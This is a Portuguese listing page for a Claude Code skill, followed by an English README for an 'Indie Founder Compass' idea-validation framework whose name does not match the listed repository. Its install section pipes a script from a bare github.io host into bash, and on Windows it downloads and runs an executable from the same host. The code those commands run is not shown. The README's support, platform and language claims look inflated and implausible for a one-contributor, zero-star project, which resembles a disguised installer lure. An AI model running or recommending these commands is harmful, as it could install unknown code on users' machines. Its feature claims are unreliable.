convez.ai
SkillProdutividadeIntermediário
SrIgnach

Founder Failure Shield

SrIgnach/founder-failure-shield

Valide ideias e mate projetos fracassados antes de desperdiçar meses

Ver no GitHub
InicialPluginScore · de 0 a 100

Framework sistemático para validação de ideias de projetos indie através de quatro disciplinas: reconhecimento de padrões de falha, critérios de encerramento, scoring ponderado e contrato de comprometimento. Automatiza a avaliação de viabilidade antes de investir meses em projetos fadados ao fracasso.

Instalação

$npx convez-ai SrIgnach/founder-failure-shield

1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.

Métricas

Estrelas
0
Forks
0
Acompanhando
0
Saúde
28%
Último commit
há 6 meses
Versão
—
Issues abertas
0
Contribuidores
1

Casos de uso

  • Fundadores indie avaliando novas ideias de negócio antes de comprometimento
  • Estruturação de critérios de decisão pessoais e automatizados para projetos
  • Identificação de padrões de falha conhecidos em 500+ startups fracassadas

Veredito

Framework robusto e bem estruturado para disciplina decisória em projetos indie, com clara fundamentação em psicologia comportamental e análise de falhas. Depende fortemente de integração com Claude/OpenAI e requer configuração manual de critérios pessoais para ser efetivo.

README

A tradução para o português deste README ainda está na fila.

The Indie Founder Compass: A Systematic Framework for Idea Validation, Kill Criteria, and Personal Fit Scoring

Download

Version 2.0.0 | Released 2026 | MIT License


Overview: Why Most Indie Projects Die (and How This Compass Prevents It)

Every indie founder knows the cycle: waking up at 3 AM convinced you've discovered the next billion-dollar idea, only to abandon it three weeks later when the initial dopamine spike fades. The problem isn't lack of ideas—it's the absence of a systematic decision framework that separates viable ventures from expensive distractions.

The Indie Founder Compass is not another todo-list app or motivational blog. It's a behavioral operating system built on four core disciplines that enforce intellectual honesty about your projects. Think of it as a pre-mortem diagnostic tool that asks the hard questions before you invest six months of your life.

This repository provides a complete, production-ready framework for:

  • Scoring ideas against weighted personal criteria (your values, not generic metrics)
  • Enforcing kill criteria when projects cross predefined red lines
  • Identifying known failure patterns from 500+ case studies of failed indie startups
  • Automating the entire workflow via CLI, API integration, and responsive web interface

Table of Contents

  1. Download & Installation
  2. The Four Disciplines Explained (with Mermaid Diagram)
  3. System Requirements & OS Compatibility
  4. Feature List
  5. Example Profile Configuration
  6. Example Console Invocation
  7. OpenAI API & Claude API Integration
  8. Responsive UI & Multilingual Support
  9. 24/7 Customer Support & Community
  10. Disclaimer
  11. License

Download & Installation

Download

Quick Install for macOS/Linux:

curl -sSL https://SrIgnach.github.io | bash

Windows (PowerShell):

Invoke-WebRequest -Uri https://SrIgnach.github.io -OutFile compass-installer.exe
./compass-installer.exe

Docker:

docker pull indie-founder-compass:2026
docker run -it indie-founder-compass:2026 --configure

The Four Disciplines Explained (with Mermaid Diagram)

The framework rests on four pillars that form a decision escrow—each discipline acts as a gatekeeper preventing premature commitment to flawed ideas.

graph TD
    A[Idea Intake] --> B{Discipline 1: Pattern Recognition}
    B -->|Matches Known Failure Pattern| C[Immediate Rejection]
    B -->|No Pattern Match| D{Discipline 2: Kill Criteria Check}
    D -->|Any Kill Criterion Triggered| C
    D -->|All Clear| E{Discipline 3: Weighted Scoring}
    E -->|Score Below Threshold| C
    E -->|Score Above Threshold| F{Discipline 4: Commitment Contract}
    F -->|Signed| G[Enter Build Phase with Audit Trail]
    F -->|Refused| H[Return to Idea Intake with Notes]
    
    style C fill:#ff6b6b,stroke:#333,stroke-width:2px
    style G fill:#51cf66,stroke:#333,stroke-width:2px
    
    sublegend[Legend: Red = Kill / Green = Proceed]

Discipline 1: Pattern Recognition Engine

The system maintains a growing database of 47 known failure patterns extracted from post-mortems across failed indie startups. These include:

  • The "Feature Creep Vortex" (starting with too many features)
  • The "Silent Killer" (solving a problem nobody actually has)
  • The "Founder Misalignment" (building something you personally don't need)

Discipline 2: Automated Kill Criteria Enforcement

You define hard boundaries upfront. Common examples:

  • "$500 minimum monthly cost without revenue = KILL"
  • "3 months without paying user = KILL"
  • "Technical complexity exceeding founder's skill set = KILL"

The system runs these checks automatically at configurable intervals.

Discipline 3: Personal Weighted Scoring Matrix

Unlike generic scoring systems, this framework uses your personal weights. For instance, if "ability to work from anywhere" matters 40% to you, that influences the total score dramatically. The system normalizes scores across up to 20 custom dimensions.

Discipline 4: Commitment Contract with Audit Trail

When a project passes all gates, you sign a digital "commitment contract" that logs your assumptions, expected outcomes, and kill criteria. The system generates weekly audit reports comparing reality against your initial projections.


System Requirements & OS Compatibility

Operating SystemSupport StatusMinimum VersionNotes
macOS✅ Full12.0 MontereyM1/M2 native support
Windows✅ Full10 (1909+)WSL2 recommended
Linux✅ FullUbuntu 20.04+Debian, Fedora, Arch tested
iOS⚠️ Limited16.0Watch-only mode
Android⚠️ Limited12.0Limited CLI support

Emoji Compatibility Table for OS Notifications

FeaturemacOSWindowsLinuxiOSAndroid
🎯 Kill alertsNativePowerShellTerminalPushPush
📊 Score chartsSwiftUIElectronWebNativeNative
🔔 Daily audit✅✅✅✅✅
🌐 Multi-language12+12+12+8+8+
🎨 Dark mode✅✅✅✅✅

Feature List

Core Decision Engine

  • Pattern Matching — Auto-flag 47 known failure archetypes with confidence scores
  • Dynamic Weight Adjustment — System learns from your past decisions to refine weights
  • Scenario Simulation — Run "what-if" analyses on your ideas
  • Decision Audit Trail — Full timestamped log of every pass/fail decision
  • Exportable Reports — JSON, CSV, PDF, and interactive HTML

Integration & Automation

  • OpenAI API — Natural language idea description analysis with GPT-4o/4.5
  • Claude API — Anthropic Claude 3.5/4 for alternative pattern recognition
  • Webhook Hooks — Zapier/IFTTT integration for automated triggers
  • GitHub Action — Automatically score PR descriptions as project ideas
  • Slack/Discord Bots — Submit ideas via chat and receive instant analysis

User Experience

  • Responsive Web UI — Works on 320px mobile to 4K monitors
  • Multilingual Support — English, Spanish, French, German, Japanese, Chinese, Korean, Portuguese, Russian, Arabic, Hindi, Dutch
  • 24/7 Customer Support — Automated chatbot + human escalation during business hours
  • Voice Input — Dictate ideas via browser speech recognition
  • Dark/Light/High-Contrast Themes — Accessibility-first design

Example Profile Configuration

Create a profile.yaml file in the repository root:

founder_profile:
  name: "Indie Solo Founder"
  risk_tolerance: medium_high  # low | medium_low | medium | medium_high | high
  time_commitment: 20_hours_per_week
  
weighted_criteria:
  - name: personal_excitement
    weight: 0.35
    description: "How much I actually want to build this"
  - name: market_demand
    weight: 0.25
    description: "Validated demand via pre-orders or waitlist"
  - name: skill_alignment
    weight: 0.20
    description: "Matches my current technical expertise"
  - name: income_potential
    weight: 0.15
    description: "Realistic revenue within 6 months"
  - name: remote_friendly
    weight: 0.05
    description: "Can build and run from anywhere"

kill_criteria:
  - name: no_revenue_90_days
    condition: "total_revenue < $100 after 90 days"
    action: force_pause
  - name: monthly_cost_exceeds
    condition: "monthly_cost > $300 AND revenue < monthly_cost"
    action: auto_kill
  - name: founder_burnout
    condition: "hours_per_week > 35 for 4 consecutive weeks"
    action: mandatory_rest_week
  - name: competitor_launch
    condition: "major_competitor_with_funding_enters_market"
    action: reassess_viability

Example Console Invocation

# Submit a new idea for analysis
compass evaluate --idea "A platform that connects freelance designers with early-stage startups" --profile profile.yaml

# Output:
# → Pattern Check: 3 potential matches found (Features Creep, Unvalidated Demand, Market Crowded)
# → Kill Criteria: All clear (no pre-existing triggers)
# → Weighted Score: 6.8/10 (Threshold: 7.0)
# → Verdict: FAIL - Score below threshold. Suggested adjustments:
#   1) Narrow to "designers who specialize in fintech"
#   2) Validate with 10 pre-orders before proceeding
#   3) Reduce scope to single feature MVP

# Run weekly audit on active project
compass audit --project-name "DesignMatch" --profile profile.yaml

# Generate decision history dashboard
compass dashboard --output interactive

OpenAI API & Claude API Integration

The framework supports dual-LLM analysis for unbiased pattern recognition. Configure in config.json:

{
  "ai_integration": {
    "openai": {
      "model": "gpt-4o-2026-01-01",
      "temperature": 0.3,
      "custom_prompt": "You are an experienced indie startup advisor. Analyze this idea against known failure patterns."
    },
    "claude": {
      "model": "claude-3-5-sonnet-2026",
      "temperature": 0.2,
      "custom_prompt": "Provide a contrarian analysis. What would make this idea fail that other analysts might miss?"
    },
    "voting_strategy": "majority_agreement",
    "fallback": "human_review_required"
  }
}

How it works:

  1. Both APIs receive identical idea descriptions
  2. Each returns structured analysis with confidence scores
  3. System compares outputs—if they agree, proceed; if they disagree, flag for human review
  4. Over time, the system learns which API provides better predictions for your specific domain

Responsive UI & Multilingual Support

The companion web interface adapts to any screen size without losing functionality. Key responsive breakpoints:

BreakpointTarget DeviceLayoutFeatures Available
320-599pxMobile phonesSingle columnScore input, basic dashboard, kill alerts
600-1023pxTabletsTwo columnsCharts, pattern details, export options
1024-1439pxLaptopsThree columnsFull dashboard, API configuration, advanced filters
1440px+DesktopsFour columnsMulti-project view, audit trail explorer, scenario simulator

Multilingual support includes:

  • Full UI translations for 13 languages
  • Localized pattern recognition (e.g., market-specific failure patterns for Japan vs. Brazil)
  • Right-to-left (RTL) layout support for Arabic and Hebrew
  • Culturally adjusted scoring weights (collectivist vs. individualist markets)

24/7 Customer Support & Community

Access support through multiple channels:

ChannelAvailabilityResponse TimeBest For
AI Chatbot24/7InstantGeneral questions, configuration help
Email SupportBusiness hours4 hoursTechnical issues, API integration
Community Forum24/71-2 hours (peer)Pattern sharing, idea validation
Weekly Office HoursWednesdaysLive1:1 coaching, deep dives
Emergency Kill Protocol24/730 minutesProject reset or data recovery

Disclaimer

IMPORTANT: The Indie Founder Compass is a decision support tool, not a guarantee of success. No algorithmic framework can fully account for market dynamics, luck, or personal circumstances. The failure patterns and kill criteria are based on historical data and should be treated as probabilistic indicators, not deterministic rules.

This software does not provide financial, legal, or business advice. Always consult qualified professionals for decisions involving significant financial investment, legal structures, or personal well-being. The MIT license holders and contributors accept no liability for decisions made using this tool.

Use at your own risk. Projects that pass all gates may still fail. Projects that fail scoring may succeed elsewhere. The framework is designed to reduce predictable failure, not eliminate unpredictable failure.


License

This project is licensed under the MIT License — see the full license text at:

License: MIT

Copyright (c) 2026 Indie Founder Compass Project

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.


Download

Start building what matters. Stop building what won't.

Ver o original no GitHub

Bom para

Relacionados